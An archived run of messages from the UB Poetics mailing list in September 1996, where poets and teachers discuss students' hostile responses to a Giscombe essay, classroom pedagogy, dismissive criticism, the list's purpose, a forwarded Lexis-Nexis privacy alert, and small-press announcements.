> *1. Less silly chatter of no "poetics"interest (I include myself as one of the culprits). I'm all for humor & lightness (except when I'm against it). Imagine how it looks to a newcomer searching for "poetics".*
>
> *2. Less personal & business messages & replies that should have been backchanneled.*
>
> *3. More regional info & calendars from round de world (with region in subject line).*
>
> *4. More input from lurkers (both new & jaded old-timers).*
>
> *5. Discussion on varieties of issues people have brought up, threads never taken up. (Now what were they...)*
> *- Henry Gould*

↑ Index

394. **Jordan Davis**
the martians we always have with us
Thu 19 Sep 1996

Ian --

This is probably a pointless poetically-correct quibble, but would you really call any category of response 'pure'? Sure you want to privilege one kind of reading -- that's one of the perqs of teaching, right? You get to call that shot -- but do you want to put everything on the axis of purity / mixture? It seems loaded, especially when you're trying to deal with hostile racialist readings. 'Objective' doesn't seem much better. If it weren't such a joke, historically, I'd suggest the word 'neutral'. 'Balanced'? 'Unbalanced'? 'Cool'? 'Appropriate'? It's funny, but there may not be a valid common vocabulary for the range of desired response -- which probably has something to do with the end, for educators, of the post-war old-school assessment jargon, and the clumsy shoring (almost wrote 'klupzy girling') together of new ways of talking about what to encourage in students. I say give 'em the martians that are always here, Dodie.

One who loves all shores,
Jordan

↑ Index

395. **maria damon**
Re: Giscombe/Fugitive
Thu 19 Sep 1996

Hi Dodie: welcome to the fun, privileged, protected world of teaching. it's a dreamjob, huhn. i totally and completely sympathize. i've had a lot of this kind of stuff, including people complaining that WEB DuBois is "writing over his head" --(read: I, a white boy from suburban minnesota, feel threatened by a Black Harvard PhD whose prose is poetic and complex); that they have been oppressed too, and the prime example is that when Native Americans exercise their fishing treaty rights, it cuts down on the population of fish available to sports fishermen (i.e. themselves, their dads and uncles--believe it or not, this is one of the hottest political issues in the upper midwest); yes, the term "reverse racism" is widely used. Myself and female friends who teach "minority" and "postcolonial" literatures routinely get evaluations that say stuff like "it is offensive to be forced to read about issues such as poverty and racism..." "there were too many books by minorities in this class"(if its not a class actually entitled "minority lit"); "how can you expect me to read this book [by a Lesbian] since I am not a lesbian" etc etc. It's a real eye opener to those of us who think we're past the age of "identity politics," crude socialist advocacy for the traditionally oppressed, etc. etc.--and who, in some contexts, do argue against a

simplistic multiculti-ism. I have actually declined to teach "Literature of American Minorities" for a number of years now for the very reason that i find it utterly demoralizing; also, its an intro lecture class, so there're literally over a hundred (white) students glaring at me and sometimes leaving the classroom, slamming doors behind them. It is also common for the women teaching these classes to have anonymous letters sent to the dept chair complaining about their unfairness, incompetence, etc etc.

In message <v01540b00ae66b64a97c5@[205.134.228.42]> UB Poetics discussion group
writes:
> This is Dodie.
>
> For my Creative Writing 1 class I assignmed C.S. Giscombe's essay on the T>
V
> series The Fugitive, which is in the Leave Books anthology, _The Poetics of
> Criticism_. I really like this essay, think it's kind of fun, find
> Giscombe's revisioning of the fugitive as black so intereting, enjoy his
> jibes at the white academy, am impressed by the deftness of the slippages
> in his language. So Š we get in class yesterday afternoon, and I say
> something bland like, "What did you think of this essay?" And I got this
> torrent of complaints: I hated it, this guy can't write, this is reverse
> racism, this really pissed me off, just because he thinks something it
> doesn't mean it's true, how dare he say the fugitive isn't black enough,
> it's ridiculous to say that white people can't teach black writers as well
> as black people, what does he know about Tracy Chapman's singing! One
girl
> latched onto Giscombe's discussion of Ellison's _Invisible Man_, said,
> "Have you read that book?" Before I could answer, she added, "I hated it!
> All that guy did was complain." The bulk of this response came from three
> (of eleven) students, the ring-leader being the Invisible Man-hater.
>
> I tried working with their feelings--yes, Giscombe is using some
> confrontational language in his piece but Š But nothing I could do could
> quite turn the situation around from my trying to defend the essay into
> looking at what the essay had to offer. Particularly because some of the
> "pissed off" students had totally misread the essay (for instance Giscombe
> never says the fugitive isn't black enough--he says quite the opposite) and
> in their rage were irrational. Unfortunately, there are no black people in
> the class. To me many of the students' responses reeked of racism--to call
> a black man's reinterpretation of cultural icons of the 60s reverse
> racism!!???

>
> Frankly I'm stunned, don't quite know what to do about this. When we read
> _Wigger_ by Lawrence Braithwaite, I'd better bring in a seatbelt--that book
> really is incendiary, wiggers being white suburban kids who want to be
> black. Braithwaite is black, gay, and Canadian--I'm afraid he's going to
> be like a Martian to my students. Call in the Marines, blast this alien to
> smithereens! Speaking of Martians, we are going to be reading Spicer's
> letters to Lorca.
>
> Have any of you dealt with this kind of thing?
>
> Dodie

↑ Index

396. Ian Wilson

Re: the martians we always have with us

Thu 19 Sep 1996

Jordan,

In the pc arena, I can't argue with you on the use of the word "pure." It's a completely loaded word. And I also think that you can't completely separate out the political and talk only about the structural without that decision also being a political one.

All that said, writing workshops have been termed the last bastion of New Criticism, and they are when the focus is on craft. So when I say can the discussion be turned to pure observation, any of your other terms will work: neutral observation, non-judgemental observation, observation that focuses solely on the written artifact as a form.

Given the heat of the discussion in Dodie's class, it might make for an interesting assignment for the class to respond with an essay to the Fugitive piece.

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://www.iglou.com/irwilson/index.shtml

_____ Reply Separator _____
Subject: the martians we always have with us Author: UB Poetics discussion group <[redacted]> at Internet Date: 9/19/96 2:00 PM

Ian --

This is probably a pointless poetically-correct quibble, but would you really call any category of response 'pure'? Sure you want to privilege one kind of reading -- that's one of the perqs of teaching, right? You get to call that shot -- but do you want to put everything on the axis of purity / mixture? It seems loaded, especially when you're trying to deal with hostile racialist readings. 'Objective' doesn't seem much better. If it weren't such a joke, historically, I'd suggest the word 'neutral'. 'Balanced'? 'Unbalanced'? 'Cool'? 'Appropriate'? It's funny, but there may not be a valid common vocabulary for the range of desired response -- which probably has something to do with the end, for educators, of the post-war old-school assessment jargon, and the clumsy shoring (almost wrote 'klupzy girling') together of new ways of talking about what to encourage in students. I say give 'em the martians that are always here, Dodie.

One who loves all shores,
Jordan

↑ Index

397. Daniel Bouchard
Re: Giscombe/Fugitive
Thu 19 Sep 1996

Dodie, Maria, et al:

The students you are describing are having a natural reaction to your class. Not natural in the sense that they are correct in their reactions, but natural in that what they (probably most) are exposed to up to the point of your class result predictably in those reactions.

In other words, they haven't been prepared for the idea that there may be ideas (in the world, in the classroom) that will shake the foundations of ideas that they have come to think of as their own. When presented with radical ideas, they (naturally?) regard it as an attack on their beings. They are 18-22? Obviously, they know everything and the instructor in the room is there to pass the time with (with some book chat).

I think that regardless of all the history, issues of race, gender, class, etc. will continue to be radical ideas to many many people. And people find radical ideas threatening. That's why they're radical.

I haven't really offered anything in terms of how to deal with this, but want to say that I've been there and have found it just as upsetting.

What kind of frame or context are these classes presented to the students?

[redacted]

Aside, and somewhat relevant: reading about a poll taking in USA about 20 yrs ago. Question: where does this phrase come from "From each according to their ability, to each according to their need?" Most common answer: the Constitution.

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398. **Eliza McGrand- CVA Guest**
Re: Giscombe/Fugitive
Thu 19 Sep 1996

god yes. i have dealt with this kind of thing. it is the despair of my life.

i've begun to call it the "righteousness without a cause" syndrome. people

i have this theory: think about when literature, or let us say, to try and harness in (though one can never harness them in) the hole-pokers, written formed narratives began. almost no one could read. thus, almost no one could write. thus, there were very FEW written formed narratives. if you adopted the interpretation/cultural placement/knowledge of these narratives as your profession, you were sitting in the catbird seat.

fast forward. invention of the printing press. things get a little tougher but not much. fast forward. monks/church schools are teaching more and more people to read, hence more and more people write. the ones who make mastering texts their business are now not so clearly in the catbird seat. ruffians from the bleachers are beginning to sit in their section, beginning to displace them in the seat when they get up to go to the bathroom...

fast forward. now. in u.s. and europe, almost everyone can read (i'll take just these areas because they are what i know). now, because so many people can read.... many many people write. now, there is not only a massive, and GROWING backlog of all sorts of Great Literature for the Masters of the Literature Universe to somehow read, interpret, and master, there is MORE of the stuff piling in everyday.

so what happens? what has been happening all along, in one way or another, to "control," assert "mastery" over these unruly texts... a criticism of dismissal...

i.e. (actual paraphrased quote) "oh the confessionals, they all write about suicide and drugs. freudian melodramas..." using this example. well, there you have it. you never have to read sexton, lowell, snodgrass, plath, etc. becuase now we all know they just write about suicide and drugs and freudian melodramas. BAP. a whole pile dismissed.

students pick up the gestalt of criticism of dismissal, and practice it perhaps less gracefully, not in the least becuase a really GOOD criticism of dismissal

depends on a sort of haute culture elan, a kind of personal power and unapproachability that makes one able to scare would-be includers off.

i say this, fully aware of my own immersion in criticism of dismissal, distrusting it when i don't like a "sort" of poetry... and hearing, god forbid this nightmare, students saying things that sound like me...

"oh X poetry, it is just about YZ"... i have been having a running debate with a friend on poetries she is enjoying at present. i thought, from samples she had sent me, that i had them pegged. then she sent some jack spicer poems which i found entrancing, and i have had the designer-outfit-wearing Critics Of Dismissal Ghosts shaking their chains in my doorstep ever since... e

↑ Index

399. **Jordan Davis**
BAP critics
Thu 19 Sep 1996

BAP. a whole pile dismissed.

But Eliza, critics are _supposed_ to do that, aren't they? If you take away a critic's privilege of _focus_, then you make the job of general criticism informational and no longer federal, no longer regulatory. That sounds nice, but who then will take a job the products of which everyone ignores (except the few members of the audience who remain ignored), if the power of which, what little there may be, is taken away?

Jordan

↑ Index

400. **Eliza McGrand- CVA Guest**
Re: BAP critics
Thu 19 Sep 1996

---

ayup (a maine noise equivalent to the sound of a burp and a fish line dropping in the water)... tis a tough job but someone has to do it.

honestly, we bitch when criticism seems overly regulatory, but we bitch when crummy texts are paraded by lazy writers as Great Writing even though we know they were scrawled on a cocktail napkin the evening before in bad pentameter with june-moon rhymes. or less obvious targets. and then we yearn, even if we don't dare voice it, for the Tough Scary Critics to ride in on their dismissals...

i never said i had an answer. if i did, i'd exorcise the Ghosts of Texts Dismissed, as well as the Ghosts of Critics of Dismissal... maybe a little worcestershire sauce on my threshold... e

↑ Index

401. **filch**
Re: Giscombe/Fugitive BAP
Thu 19 Sep 1996

"Everyone thinks that Milan Kundera is such an important writer. He's completely overated, all he ever does is write about sex."

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> *e*

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402. Tony Green
Re: Confidential to everybody on the lis
Thu 19 Sep 1996

Put the apparent haste down to sheer South seas excitement. Best

Tony Green,
e-mail: [redacted]

↑ Index

403. George Bowering
Re: redux is a drug
Thu 19 Sep 1996

> *On Wed, 18 Sep 1996 21:00:44 -0400 Jordan Davis said:*
> *and I want to know what it is people want from this space -- this listserv*
> *if you're not a spatialist -- I asked when I got here and I'm asking again*
> *now -- what do you want -- what do you wish would happen here*
>
> *2. Less personal & business messages & replies that should have been*
> *backchanneled.*

And a more sure command of vocabulary. No use of "less" where "fewer" is indicated, for instance.
>

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

404. Eliza McGrand- CVA Guest
Re: redux is a drug
Thu 19 Sep 1996

more personal chat. i want to know everyone's bra size. more humor. less nervous seriousness. winning lotto numbers (before they are picked). more poems. reading announcements. book announcements. tenure-gaining announcements. theoretical posits. theoretical refutations. refutations of theory. posits of theory. post-structuralist positions. post modernist positions. pre modern positions. prestructural renovations in position. queries about quotes. thrills chills and everyone's bra size. what people are reading. why. why not. why no one reads miles kundera (i hear it's cause all he talks about is sex... you'd think that would go over big). political alerts. poetical alerts. obits. birth announcements. celebrations. job openings. The Stuff Of Life. e

↑ Index

405. bitmap

Nexis Lexis

Fri 20 Sep 1996

This might be of interest, it concerns "a service from Nexis Lexis called P-Trax.

In this email it was said that this (PAY ONLY) database was being made available by Lexis and in it was all kinds of personal and private information about .. well just about EVERYBODY! .. the email went on to say that the data included our name ('s) that might include your maiden name or aliases you may have used, your current address and maybe your previous address, your social security number, your mother's maiden name, your birth date and other personal information.

Well this sure put the 'fear of the net' in me in a big big hurry! =-)

BUT... I called the (very stressed and phone abused) folks at Lexis and I found out the real deal...

It seems the kind of data thats held within that database includes the following:

> Your Name and maybe other names you may have gone by.
> Your Current Address and maybe a previous address.
> Your Phone Number

Update: Some net.seaching did turn up this very interesting story that was done by our good friends at c|net Central... You can read it in full text at their new web site http://www.news.com/ a fast link direct to the story is http://www.news.com/News/Item/0,4,1539,00.html. Anyway in that story I found out that Lexis does (or did) indeed have our Social Security Numbers and they were AT ONE TIME indeed in the P-TRAK database but thanks to some complaints that came in.. it seems that a few members of congress (after the c|net story was published) may have been concerned as well and the information was indeed removed.

Now I still think thats more information than I want strangers to know about me... Especially without me knowing about it first. Heck, its nobodys business where my previous residence was even if I did live on Mars before calling this nice planet my home =-) and does anyone

else really need to know that at one time I
went by the assumed name 'Derrenger Dave From Deluth' I don't think so... =-)

Okay.. all kidding aside, personal privacy is very important to us all (or should be) and if you think your name might be contained in this database you really should consider if you want it to remain there.

Yes Virgina you can indeed get it removed. How you ask... well thats were Lexis-Nexis makes it kinda
tricky... Lexis will not take you name off the database unless you send them your Name and Address
via fax or snailmail - they refuse to do it via phone, email or web.

I have to tell you this does indeed make me a little mad so instead of being nice and putting their fax number in this little story I have chosen to instead post their 1-800 number from that number a recording tells users the address and fax number... the way I look at it, 'let them pay for the call'

Oh, I also have another bone to pick with them... When I called them I simply wanted to find out if my
name was indeed in their database and exactly what personal information they did have up for sale on me,
because I figure if it isn't in their database already then why on earth should I fax them the info! Well, do
you know what I was told??? The charge for the search would be $85.00. If thats not nerve... Doesn't the
United States Federal Govenment have some kinda laws covering this kinda thing?? Damn!! CHARGING
ME just to see if they are making money by USING MY NAME... So once again... LET THEM PAY FOR
THE CALL! [redacted]

I for one WILL have my name removed from that list... and remember please pass this story around but
PLEASE make sure you are not spreading mis-information (remember this DB does NOT have SSN, DOB,
Mothers Name and some 'reports' I've seen even eluded to the fact they they also had credit info on you...
this stuff is not true... if it were imagine how mad I would have been =-)"

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406. **Kevin Killian**
Re: student racism (white trash)
Fri 20 Sep 1996

At 9:49 AM 9/20/96, bitmap addressing wrote:
>I must say that i come from a very long line of white trash and carry the
>appelation proudly. My wife and i were discussing last night how my family
>line is full of people who were too dirt poor to be oppressors. I'm sure
>if given the chance my ancestors would have been excellent at it & i would
>come from a long line of slaveholders and genocidal poops. But as it is as
>far back as the family has roots we have always been dirt poor white trash
>with its accompanying complexes of racism, sexism, abuse, addiction, &
>incest.
>
>filch

This is Dodie. While I wasn't raised in such an environment, my heritage too is a long line of white trash--my family was upwardly mobile skilled labor. After the depression many of my white trash (though hillbilly was the word of choice in Indiana) relatives migrated from Kentucky to the Calumet Region to get jobs in the mills and in construction. Up there, there was lots a prejudice against anybody with a Southern accent, and I took on that prejudice, and felt appauling shame at my relatives, my millions of bare-footed shitty toe-headed cousins. When I was in high school most of them moved back to Kentucky and onto welfare, and I haven't seen any of them since. I have come to more of an appreciations of my relatives--but my grandfather was in the Ku Klux, and I've heard stories of cousins getting into knife fights with blacks--I would hardly call them harmless.

↑ Index

407. **Rachel Loden**
Re: redux is a drug
Fri 20 Sep 1996

---

henry wrote:

> *1. Less silly chatter of no "poetics"interest*

Interesting the assumptions in this statement. The dry heaves of dueling press releases (as in the poets vs. critics thread) are "of poetics interest." Pomposity is fascinating. Satire is silly.

> *Imagine how it looks to a newcomer searching for "poetics".*

Imagine what the neighbors will think. Anyone who comes here looking for certainties *should* get the chance to be baffled. Didn't I hear a rumor that this

was a list for experiment (or is that only for the narrowly defined "work")? This place is interesting, IMO, when it's a source of puzzlement.

Rachel Loden

↑ Index

408. **Gwyn McVay**
Re: redux is a drug
Fri 20 Sep 1996

Rachel, I thought h's post *was* satire. Is there (obligatory crit jargon alert!) room for an alternative reading of the text in question?

Gwyn

↑ Index

409. **henry**
Re: redux is a drug
Fri 20 Sep 1996

On Fri, 20 Sep 1996 04:54:37 -0700 Rachel Loden said:
>henry wrote:
>
>> 1. Less silly chatter of no "poetics"interest
>
>Interesting the assumptions in this statement. The dry heaves of
>dueling press releases (as in the poets vs. critics thread) are "of
>poetics interest." Pomposity is fascinating. Satire is silly.

Was I referring to some thread you were involved in, Rachel? I don't
think I mentioned any particular thread. Nor did I claim that the
poets & critics thread was "fascinating". Who's assuming what
about who? Did I say satire was silly? I remember I did say that
I considered myself "one of the culprits." - & I mean, engaging
in silly chatter! (much of it about poets & critics)
>
>> Imagine how it looks to a newcomer searching for "poetics".
>
>Imagine what the neighbors will think. Anyone who comes here looking
>for certainties *should* get the chance to be baffled. Didn't I hear
>a rumor that this was a list for experiment (or is that only for the
>narrowly defined "work")? This place is interesting, IMO, when it's
>a source of puzzlement.

I agree with that. Jordan asked what we would like to see on the list. I gave my opinion - which is: I miss some of the intense complicated discussions of poetics per se, which in my view, there's been a dearth of in the last few months (maybe it's summer, maybe it's too much chatter - mine included). The best thing in these list police discussions (which are mostly self-defeating) is to just START a discussion, as many have already pointed out. Meanwhile, I'll keep searching for a new opportunity to be baffled. - HG

↑ Index

410. **henry**
Re: redux is a drug
Fri 20 Sep 1996

On Fri, 20 Sep 1996 08:16:18 -0400 Gwyn McVay said:
>Rachel, I thought h's post *was* satire. Is there (obligatory crit jargon
>alert!) room for an alternative reading of the text in question?
>
Gwyn, let me make myself perfectly less fewer clear:
I was deadly.... serious, SERIOUS. As alwayszzzzzz.....(huffle huffle snort snort).....zzzzzz - What's his name. Choreman of the Bored

BORED ANNOUNCEMENT

A new poetics sub-group spinoff has been formed. We're calling ourselves the "cool poetics nerds". To join, well, it's kind of a clique, some of us just felt we weren't satisfied, you know, it's like an in-group thing. Calling ourselves the Z-team, ******* started it a few weeks ago, we're all still part of the poetics list anyway. But if you're alabaster, neuter, over 45, and VERY interested in serious literary controversies, you might want to email *******. Send along a curriculum mortae. - HG

↑ Index

411. **Sherry Brennan**
space
Fri 20 Sep 1996

> *n Wed, 18 Sep 1996 21:00:44 -0400 Jordan Davis said:*
> *and I want to know what it is people want from this space -- this listserv*
> *if you're not a spatialist -- I asked when I got here and I'm asking again*
> *now -- what do you want -- what do you wish would happen here*

I just wnat to know that there are other spaces out there, other than this cubicle where I spend my days with my comjputer. I'm not into regulating hwat those other spaces are. Just want to space spacing spaces . xs

Sherry Brennan
Development Research
The Pennsylvania State University
[redacted]

↑ Index

412. **maria damon**
Re: redux is a drug
Fri 20 Sep 1996

---

rachel rites:
> henry wrote:
>
> > 1. Less silly chatter of no "poetics"interest
>
> Interesting the assumptions in this statement. The dry heaves of
> dueling press releases (as in the poets vs. critics thread) are "of
> poetics interest." Pomposity is fascinating. Satire is silly.
>
> > Imagine how it looks to a newcomer searching for "poetics".
>
> Imagine what the neighbors will think. Anyone who comes here looking
> for certainties *should* get the chance to be baffled. Didn't I hear
> a rumor that this was a list for experiment (or is that only for the
> narrowly defined "work")? This place is interesting, IMO, when it's
> a source of puzzlement.
>
> Rachel Loden

i rite: for the record; i was telling a colleague/friend about the silliness of our list of late, with the benedetti v. loden/bowering thread and how it blossomed. she was in stitches and wished she had an e-community that was half as fun.--
md

↑ Index

413. **maria damon**
Re: redux is a drug
Fri 20 Sep 1996

---

the gould rites:
I miss some of the intense complicated

discussions of poetics per se, which in my view, there's been a dearth of in the last few months

i don't recall much of this at all; are you referring to, for instance, the plath/sexton/ holocaust type stuff? or stuff about meter? this is an honest question: what constitutes a serious discussion of poetics? what in fact is meant by poetics? i ask this because i had real departmental problems with this one in the past, being in a situation where i thought "poetics" meant something like "the functioning of (talking about) verbal artifacts in a social space" and my powerful senior colleagues thought it meant "prosody." so, on this list, i don't know when i'm being "digressive" and when i'm actually tending to business. and to tell the truth i kind of like not knowing. i think that's the way new knowledge gets generated, when there's advertent or inadvertent slippage between discourses. bests always md

↑ Index

414. Joe Amato
teaching traumas...
Fri 20 Sep 1996

there isn't a day goes by, it seems, when i'm not faced with resistance from my students to moving discussions in any direction which suitably challenges more orthodox constructions of self or society... in considering just about anything written by foucault, or any poem that is non-narrative, or any social opine that goes against-the-perceived-orthodox-grain, i'm often met immediately, by a certain faction (which latter varies), with resistance if not outright resentment...

my strategy has been to try to create a classroom setting from the outset in which students feel they can give voice to their more self-ish or racist or sexist or ? sentiments... i like to talk in class about the way i come to teaching and learning, about how i see my own profession, and i like to get my students to talk about what they think they're going to get out of an education, how they see themselves as students... this latter discussion is not the sole topic of discussion, but it is a recurring topic in each and every one of my classes... one way of getting students to pipe up (which may or may not work, depending on the context---there are no guarantees) is to give voice at times to one's own anxieties, and to get into the habit of questioning, listening, and encouraging students to do as well... i'm not talking about teaching-as-confessional (though i suppose there is an element of this, and of related risk)---i *am* talking about redistributing pedagogical authority so as to decenter the instructional role through openness and willingness to make public one's own methods and frailties, while at the same time raising urgent questions... which may include, in fact, whether a more 'democratic' classroom is desirable... mebbe b/c i'm a

white guy i can get away with this more easily, it's true... for example, a woman, viewed in more maternal terms by students, may likewise be viewed as "betraying" her self-defined student-offspring through a denial of authority... i say this only in order to complicate my own pedagogy...

i'm not suggesting that instructors should avoid confrontation... i *am* saying---and in my case i teach, these days, a lower-middle-class, technically-oriented student body, with a fair amount of international students (who are not lower-middle-class), and mebbe 20% women---that confrontation of any sort is not going to be all that meaningful unless students (and faculty) are willing to articulate where they're coming from, and why... and that it takes some amount of work to create a classroom in which there's enough trust and commitment to entertain such provocations publicly...

mebbe you can get 'into' a 'controversial' text if you can create such a classroom... mebbe such texts can help in that process simply b/c they foreground known anxieties or concerns of one sort or another... mebbe you can get students to see a text as something of (aesthetic, cultural) value (imagine that), as something that speaks to xyz issues in perhaps unsettling ways... but this latter process simply has, as i see it, to take place within a legible pedagogical-educational framework... if you don't discuss the how's and why's of educational motives with your students, you're setting yourself up in their eyes as a demagogue... esp. when you introduce into a classroom a text that is (demographically speaking, now) likely to be viewed as challenging their beliefs...

for what it's worth, please pardon my use of second person, i'm talking to myself too//

joe

↑ Index

415. **henry**
Re: redux is a drug
Fri 20 Sep 1996

On Fri, 20 Sep 1996 09:22:16 -0500 maria damon said:
>the gould rites:
>I miss some of the intense complicated
>discussions of poetics per se, which in my view, there's been a dearth
>of in the last few months
>
>i don't recall much of this at all; are you referring to, for instance, the
>plath/sexton/ holocaust type stuff? or stuff about meter? this is an honest
>question: what constitutes a serious discussion of poetics? what in fact is
>meant by poetics?

By "poetics per se" I mean "the gab about poetry".
But methinks perhaps the Muse hath departed.
O woe then I cry, cry I then woe O,
For lo, the blab doth feed upon itself
And all o'erwhelm propinquity and jest!
Yea, unto the legions forthright fortified
With regulation, what ho! Dagnab it all!
Whew!

[from: PROSODY IS ONLY AN ITTY-BITTY PART OF POETICS, by E. Randolph Squirtgunnington; E. Lemon Press, 1946]

[Note: Squirtetc. cites the above as an example of latent extenuated devolved anglo-saxon verse prosody, remarking: "note the labial sibilance in the third beat from the top layer (proto-Ugarit sandstone). How moving - and yet, how pathetic." (p.1745)]

↑ Index

416. **Henry**
po-biz
Fri 20 Sep 1996

Peter Landers apologized for "business" message about his magazine on the list. I'm sorry if my dimwitted "regulatory" comments were unclear. I'm ALL IN FAVOR of small press business announcements etc. on this list. I just don't think people should hit the reply button & order their individual copies, etc. on-list. Anyway, it ain't up to me - I just wanted to clear that up. (Jordan, you will pay for starting this thread...!!!) - HG

↑ Index

417. **Joe Amato**
teaching traumas cont'd...
Fri 20 Sep 1996

---

and permit me to gloss one facet of my last post one stitch further: one of the greatest difficulties i face is in my tendency to talk too much (surprised? i bet not)... so in order to help turn over the classroom to students (which is what "student-centered" really means), i try to develop a teaching format-structure such that i can at regular intervals get up and WALK OUT...

yeah---just walk away... let them talk things out among themselves (or if you have the technology, write things out among themselves), only to re-enter the discussion at a later point...

now it helps if you have a long-ish class period... but the point here is that an instructor's input is not required at each and every instant, and that in fact it might help in general to ask class participants (please note the shift in terminology) to delve into a specific issue IN YOUR ABSENCE...

i do it all the time, with generally good results... a certain number of participants usually object at first, but they get over themselves once they realize they have much to learn from one another... when i re-enter the discussion, i tend to ask participants to tell me what all they've been discussing, where the major conflicts were (if any), what further speculation/inquiry/even research is possible or necessary, etc... and i try, i try to limit my input and tendency to paraphrase, albeit i've been known to blab some at this point...

joe

↑ Index

418. **maria damon**
Re: poetry and play
Fri 20 Sep 1996

In message <[redacted]> UB Poetics discussion
group writes:
> I'm putting together a course on play, games, and lit, and am looking for
> recommendations-- I've got fictions and theater covered, but the poetry side
> of the experience needs help. Stein and Cage are in the running, but other
> suggestions would be appreciated. Silly or serious poems/poets/poetics
> are welcome.
> Thanks,
> Gary Roberts

the oulipo people, italo calvino, lewis carroll, ws gilbert, joan retallack, bp nichol, aram saroyan, ...

↑ Index

419. **Julie Marie Schmid**
Re: poetry and play
Fri 20 Sep 1996

Hey Gary--

Hope all is well. Will backchannel you when I have the time. What about anything by Breton or the Surrealists--not about games per se, but writing based on games, role of the dice, etc. It would work well with Cage, I would think. Or what about the Daisy poem that Kerouac & Cassidy wrote together? (I can't remember the title, but know where to find it if you're interested.)

Julie

On Fri, 20 Sep 1996, Gary Roberts wrote:

> *I'm putting together a course on play, games, and lit, and am looking for recommendations-- I've got fictions and theater covered, but the poetry side of the experience needs help. Stein and Cage are in the running, but other suggestions would be appreciated. Silly or serious poems/poets/poetics are welcome.*
> *Thanks,*
> *Gary Roberts*

↑ Index

420. **Jeff Hansen**
student racism
Fri 20 Sep 1996

Dodie a day or two ago -- it takes me a while to get my messages, slow system -- wrote about her students' seemingly racist response to a Giscombe essay she had them read.

Alas, I am not at all surprised. I get this sort of thing all the time. The prep school students I teach -- at least the white ones -- almost all claim not to be racists. And they're right to the extent that they hold no ill feelings toward blacks or other minorities. But they are wrong insofar as racism is institutional: Any time discussion of race turns away from "subjective feeling" and to actual instances of and structures that promote white privelege and minority disenfranchisement, things get ugly. Most whites react irrationally and angrily. The strangest such instance is when some white students claims to be as "victimized" as minorities. (My God, what a sad state of affairs.) The declaration of being a victim has become a rhetorical ploy to establish authority ("You have to listen to me; I've been unjustly hurt.") and these kids do not want it denied them.

Once you scratch beneath the surface, the ugliness is extraordinary.

& it's not just race; it's class as well. In the prep school I taught in in NY state, some students uncritically referred to lower class whites as "white trash." I said, "let's find a better word." A student replied, "Oh, they're not white trash?" I said, "These people would fall under the category `poor white trash.' But I don't believe we should refer to any human beings as trash, especially not in a classroom." "Wow, I never thought of that." These kids are receiving superb educations.

The schools I teach at are full of economically elite students steeped in "multicultural" (I hate that word -- too simlistic)social studies and English classes.

Does the elitism overrde the multi-cultural indoctrination? Or are these students actually more sensitive to issues of "otherness" than are many less fortunate whites?

It all makes me shudder. I wish that I, like Dodie, could be surprised.

In NY state I taught some kids ripe for the neo-Nazis. (No, all of the neo-Nazis are not poorly educated, disenfranchised white men. These boys had the world at their feet.) When I began my introduction of Woolf's TO THE LIGHTHOUSE, one of the students asked, "Is she black, too?" He had become sick of reading black authors after a unit on African poetry. The coming generation may be the most racist since before the Civil Rights era.

I guess we educators have our work cut out for us. Do we make a difference? What do you non-educators think?

Jeff

↑ Index

421. Gary Roberts
poetry and play
Fri 20 Sep 1996

I'm putting together a course on play, games, and lit, and am looking for recommendations-- I've got fictions and theater covered, but the poetry side of the experience needs help. Stein and Cage are in the running, but other suggestions would be appreciated. Silly or serious poems/poets/poetics are welcome. Thanks, Gary Roberts

↑ Index

422. Jeff Hansen
None
Fri 20 Sep 1996

Maria Damon mentioned in passing that a hot upper midwest political issue concerns the treaty rights of native Americans to fish in certain waters at times when they are off-limit to other groups. She goes on to say that many whites oppose it because it cuts down on the fish they will catch. This is true in part, but the issue is much more complex.

Certain small resort owners suffer real economic trouble because of these treaties (which should be enforced -- I'm not arguing against Native American's rights.) And many of these people are not rich: they make a hell of a lot less than a tenured professor or, in my case, a prep school teacher. An extremely

slow season resulting from either the real or perceived lack of fish in the lake due to Native fishing can send some of these people out of business.

The point here is that, once again, it is lower class whites who pay a disproportionate price for the attempt to redress past racism. This is political suicide: It splits the Leftist and potential Leftist constituency along racial lines. This problem is, I think, the most serious one created by the New Left. Yes, gender and racial politics are necessary. But we need to keep the economic in view. And we need to keep in mind that white people are not all the same, and we need to ask ourselves who we are asking to pay for redressing past racism. 'tain't all equal.

A simple 'fuck the whites, they're all priveleged' is escapism and dangerous politics.

↑ Index

423. Douglas Messerli

new magazine on line

Fri 20 Sep 1996

I just wanted to let everyone know that the newest
issue of WHERE LITERATURE LIVES, No. 2 (September 1996)
is now on line at Sun & Moon Press's web-sit (http://
www.sunmoon.com).=20

The newest issue contains work by several upcoming and
new Sun & Moon writers (Myung Mi Kim, Charles Bernstein,
Ren=E9 Crevel, Thomas Mann, others) and reviews from recent
Sun & Moon books as well as "In the News," new information
about Sun & Moon writers and events.=20

In future issues, Sun & Moon will publish some reviews of
non-Sun & Moon books. If you have a book you'd like to review,
please let me know (Douglas Messerli). We look forward to
publishing a few other reviews in each of our monthly issues.

I hope you'll vising our web-site and enjoy the contents. You're welcome to download material as long as it's for personal usage only. Incidentally, we will be keeping back issues on the site as well. No 1 of WHERE LITERATURE LIVES can still be accessed.

Douglas Messerli

↑ Index

424. Daniel Bouchard
Re: student racism
Fri 20 Sep 1996

I guess we educators have our work cut out for us. Do we make a difference? What do you non-educators think?

——

In some recent reading a comment was made that the people (mostly white men) with high school educations who feel disenfranchised and believe in "reverse-racism" and are falling into the ranks of those spouting vicious right-wing rhetoric of racial divisiveness and general assaults on poor people, and are likely candidates for the so-called "militias," etc. were, three generations ago the same people forming the rank and file of the CIO. The conclusion (made in the article) was(IS) a disastrous failure on the part of the Left (today), and an organizer's dream still waiting to happen.

That's a lot of work. What do people think? And does poetry have a place in it?

A: Poetry does have a place in it. Poetry can inform.

[redacted]

↑ Index

425. Pete Landers
status of my 'zine - Happy Genius
Fri 20 Sep 1996

please pardon the non-poetic, business nature of this post. a few poets on this list have work going in my up-coming 'zine, Happy Genius.

Happy Genius is suffering from money problems. this is out-of-pocket. if it is going too slowly for anyone, just write me. i understand.

the low-down: Happy Genius is 1. core text only. i like a little crit but there are many 'zines out there for that. 2. Black Mountain and langpo influenced. my taste. 3. paper and web. many people really do judge a book, or 'zine, by the quality of the print job. for some, web-only is not *real*! wouldn't that be a turbulent thread!

